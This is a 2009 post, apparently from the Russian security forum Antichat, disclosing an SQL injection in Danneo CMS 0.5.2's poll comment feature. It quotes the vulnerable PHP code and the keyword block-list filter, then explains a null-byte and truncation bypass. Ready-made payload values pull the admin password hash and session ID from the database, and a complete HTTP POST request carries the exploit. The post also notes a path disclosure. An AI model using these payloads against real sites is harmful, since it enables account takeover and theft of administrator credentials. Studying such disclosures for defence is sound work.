Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Danneo CMS <= 0.5.2 Remote SQL-injection |

03.01.2009, 18:29
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
Danneo CMS <= 0.5.2 Remote SQL-injection
Danneo CMS - одна из самых успешных русских CMS с открытым исходным кодом. По своему опыту могу сказать, что в рунете довольно распространена. Однажды уже находил баги в этой CMS, но с выходом версии 0.5.2 (последняя на данный момент) их устранили.
Новая обнаруженная уязвимость находится в модуле голосований при добавлении комментариев.
Уязвимый код ( /mod/poll/comment.php@124-130):
PHP код:
$comtext=($setting['peditor']=="yes") ? commentparse($comtext) : deltags(commentparse($comtext));
$comname = (preparse($usermain['logged'],THIS_INT)==1 && preparse($usermain['userid'],THIS_INT)>0) ? $usermain['uname'] : substr(deltags($comname),0,50);
$comtitle = substr(deltags($comtitle),0,255);
$in = $db->query("INSERT INTO ".$basepref."_polling_comment VALUES
(NULL,'".$id."','".$usermain['userid']."','".NEWTIME."',
'$comname','$comtitle','$comtext','".REMOTE_ADDRS."')");
Уязвимость возникает после обрезания строки в переменной $comtitle до 255 символов, что дает возможность проведения фрагментированной SQL-инъекции.
Однако реализация уязвимости затрудняется фильтром ( /base/danneo.track.php):
PHP код:
$baddata = array("UNION",
"OUTFILE",
"FROM",
"SELECT",
"WHERE",
"SHUTDOWN",
"UPDATE",
"DELETE",
"CHANGE",
"MODIFY",
"RENAME",
"RELOAD",
"ALTER",
"GRANT",
"DROP",
"INSERT",
"CONCAT",
"cmd",
"exec",
"--"
/* ... */
);
foreach($_REQUEST as $params => $inputdata){
foreach($baddata as $badkey => $badvalue){
if(is_string($inputdata) && eregi($badvalue,$inputdata)){ $badcount=1; }
}
}
Фильтр можно успешно обойти, используя нулл-байт, который не будет экранироваться при magic_quotes_gpc=on.
( /base/danneo.function.php):
PHP код:
if(!ini_get("register_globals") || (@get_cfg_var('register_globals')==1)){
//@import_request_variables('GPC');
@extract($_COOKIE,EXTR_SKIP);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_REQUEST,EXTR_SKIP);
/* ... */
if(get_magic_quotes_gpc()) {
if($_POST) $_POST = stripslashesall($_POST);
if($_GET) $_GET = stripslashesall($_GET);
if($_REQUEST) $_REQUEST = stripslashesall($_REQUEST);
if($_COOKIE) $_COOKIE = stripslashesall($_COOKIE);
}
Из кода выше следует, что при попадании в фильтр нулл-байт останется без экранирования после обработки массива _REQUEST функцией stripslashesall(), однако
переменные $comname, $comtitle, $comtext будут экранироваться при magic_quotes_gpc=on, так как они извлекаются не из глобальных массивов с отчищенными входящими данными, а из локального пространства.
Это происходит, так как extract() предшествует stripslashesall().
Несмотря на экранирование, уязвимость можно реализовать при следующих значениях:
$comname a-z значение от 5 символов до 10
$comtitle 254 символа + кавычка
$comtext /*%00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -
В итоге, конечный запрос будет таким:
INSERT INTO dn052_polling_comment VALUES
(NULL,'1','0','1230987393',
'lololo','a[252 пробела]b\','/*\0*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -','127.0.0.1')
После substr() появляется \, который экранирует следующую кавычку и делает возможным выполнения SQL-кода в $comtext.
Для предотвращения возникновения ошибки синтаксиса нулл-байт (заметьте, здесь он уже подвергся экранированию) заключается между символами комментариев /* */.
В итоге при показе комментариев к голосованию в поле текста появляется значение md5 хэша админа. Также можно получить идентификатор сессии администратора, если он авторизован и время жизни сессии еще не истекло:
$comtext /*%00*/, (SELECT hash FROM dn052_admin_sess LIMIT 1), 1)-- -
Префикс таблицы можно узнать, если в настройках CMS включен debug-режим для MySQL. Для этого необходимо вызвать преднамеренную ошибку синтаксиса.
При magic_quotes_gpc=off в $comtitle кавычку необходимо заменить на \, а 254 символа можно вообще убрать.
В итоге запрос будет таким (необходимо указывать капчу):
Код:
POST /index.php?dn=poll HTTP/1.0
User-Agent: Opera/9.63 (Windows NT 6.0; U; ru) Presto/2.1.1
Host: danneo
Referer: http://danneo/index.php?dn=poll&to=open&id=1
Content-Type: application/x-www-form-urlencoded
Connection: close
comname=lololo&comtitle=a++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++b%27&comtext=%2F%2A%2500%2A%2F%2C+%28SELECT+adpwd+FROM+dn052_admin+LIMIT+1%29%2C+1%29--+-&captcha=56334&id=1&ajax=0&re=comment
Также присутсвует раскрытие путей:
/index.php?re=%00
Greetz to Elekt!
Последний раз редактировалось [Raz0r]; 03.01.2009 в 18:33..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|